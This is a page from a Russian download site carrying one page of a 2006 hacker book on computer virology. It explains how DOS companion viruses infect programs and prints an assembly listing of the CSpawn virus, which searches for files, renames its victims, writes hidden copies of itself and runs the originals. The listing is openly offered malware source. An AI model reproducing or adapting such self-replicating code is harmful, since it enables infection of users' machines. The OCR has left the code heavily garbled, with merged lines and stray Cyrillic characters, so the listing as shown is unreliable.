Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 20 21 22 23 24 25 < 26 > 27 28 29 30 31 32 .. 123 >> Следующая

Компаньонский вирус предназначался для заражения ЕХЕ-файлов. Механизм
поиска находил их и создавал в той же директории COM-файл с таким же
именем (только скрытый).
81
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
В следующий раз, когда пользователь вводил имя (скажем, FDISK), DOS
выполняла вирусную программу FDISK.COM. Эта вирусная программа
.воспроизводила себя и затем выполняла программу-жертву (FDISK.EXE).
Такая стратегия была даже проще, чем в случае CSpawn.
Родство имен жертвы и вируса не обязательно. На самом деле DOS-функция
5АН прерывания 21Н создает файл с абсолютно случайным именем. Жертву
можно переименовать в соответствии с этим именем, затем скрыть, после
чего вирус возьмет себе ее первоначальное имя.
Так как DOS-функция "File Rename" может менять директорию файла во время
переименования, вирус способен собрать все свои жертйы в одну директорию
(например \WIN-DOWS\TMP), где случайные файловые имена не вызовут
подозрений). Это будет акт благородства и жалости к ламерам, поскольку
эти несчастные люди смогут одним махом удалить все злокозненные
"временные" файлы.
Для загрузки файла можно использовать уже знакомую нам DOS-функцию ЕХЕС.
Еще вы можете поэкспериментировать с DOS-функцией 26Н и создать сегмент
программы, Чтобы загрузить в него программу с допуском на чтение файла. В
конце концов, компаньонский вирус, написанный для СОМ-файлов, может
атаковать и ЕХЕ-файлы.
Если вирус, написанный как COM-файл, создает свою копию с расширением
".EXE", DOS будет рассматривать его как СОМ-файл и выполнять
соответствующим образом. С помощью функции ЕХЕС вирус может превратить
ЕХЕ-жертву в СОМ-файл, потому что DOS-функция ЕХЕС сделает за него всю
грязную работу по интерпретации различных форматов.
Основной проблемой компаньонских вирусов, заражающих ЕХЕ-файлы, являются
файлы Windows, которые им не по зубам. Наш вирус вызовет в Windows
ужасный переполох и тут же раскроет себя пользователю.
Для Windows нам понадобятся особые хитрые штучки, о которых мы поговорим
немного позже.
82
ГЛАВА 2. Самовоспроизводство
Листинг вируса CSpawn
Этот вирус можно ассемблировать в COM-файл с помощью MASM, TASM или А86.
Вирус CSpawn является простым компаньонским вирусом, который иллюстрирует
работу данного типа вирусов.
.model tiny .code org 0100h
CSpawn:
mov sp, OFFSET FINISH + 100Н;Изменяет вершину стека mov ah, 4AH ;DOS-
функция изменения размера памяти
mov bx, sp
mov cl, 4
shr bx, cl
bx
int 21H
inc bx ;bx=# из параметров для сохранения
mov bx, 2СН установка блока параметров ЕХЕС
mov ах, [Ьх}
mov WORD PTR [PARAM_BLK], ax ;сегмёнт среды mov ax, cs
mov WORD PTR [PARAM_BLK+4], ax;@ из строки параметров mov WORD PTR
[PARAM_BLK+8], ax из FCB1
mov WORD PTR [PARAM_BLK+12], ax из FCB2
mov dx, OFFSET REAL_NAME подготовка к EXEC
mov bx,OFFSET PARAM_BLK mov ax,4B00H
int 21H дополняет жертву
83
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
cli
mov bx.ax ;здесь сохраняется возвращенный код
mov ax.cs ;ах содержит сегмент кода
mov ss.ax ;сначала восстанавливает стек
mov sp,(FINISH - CSpawn) + 200Н
sti
push bx
mov ds.ax восстанавливает сегмент данных
mov es.ax восстанавливает дополнительный сегмент
mov ah,1AH ;DOS устанавливает функцию DTA mov dx,80H ;помещает DTA в
офсет 80Н
int 21Н
call FIND_FILES ;находит и инфицирует файлы
pop ах ;AL содержит возвращенное значение
mov ah,4CH ;DOS прерывает функцию int 21Н .прощай, дорогая
Следующая подпрограмма ищет COM-файлы и инфицирует
их.
FIND_FILES:
mov dx.OFFSET COM_MASK ;поиск COM-файлов mov ah,4EH ;DOS-функция для
поиска первого файла xor сх.сх ;сх содержит все файловые атрибуты
FIND_LOOP: int 21Н
jc FIND_DONE .Выйти, если ни одного файла не найдено call INFECT_FILE
'.Инфицировать файл! roov ah,4FH iDOS-функция для поиска следующего файла
jmp FIND_LOOP ;Пытается найти другой файл
84
ГЛАВА 2. Самовоспроизводство
FIND_DONE: ret ;Возврат к вызову
COM_MASK db "*.СОМ',0 ;СОМ-маска файлового поиска
Эта подпрограмма инфицирует файл, определенный в DTA. INFECT_FILE:
mov si,9EH ;DTA + 1EH
mov di,OFFSET REAL_NAME ;DI указывает на новое имя INF_LOOP: lodsb
;3агружает символ
stosb ;и сохраняет его в буфере
or al.al ;Он нулевой? jnz INF_LOOP ;Если да, то выход из петли mov WORD
PTR [di-2],,N' ;Изменить имя на CON и
добавить О mov dx,9EH ;DTA+1EH
mov di,OFFSET REAL_NAME
mov ah,56H Переименовать первоначальный файл int 21H
jc INF_EXIT ;Если нельзя переименовать, то уже сделано
mov ah,3CH ;DOS-функция создания файла mov сх,2 установить атрибут
"скрытый"
int 21Н
mov bx,ax ;bx содержит дескриптор файла
mov ah,40H ;DOS-функция записи в файл mov сх,FINISH - CSpawn ;сх содержит
длину вируса mov dx,OFFSET CSpawn ;dx указывает на вирус CSpawn int 21H
mov ah,3EH iDOS-функция закрытия файла int 21H INF EXIT: ret
85
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
REAL_NAME db 13dup(?) ;Имя жертвы для выполнения
Блок параметров DOS-функции ЕХЕС.
PARAM_BLK DW ? .сегмент среды
DD 80Н ; командной строки
Предыдущая << 1 .. 20 21 22 23 24 25 < 26 > 27 28 29 30 31 32 .. 123 >> Следующая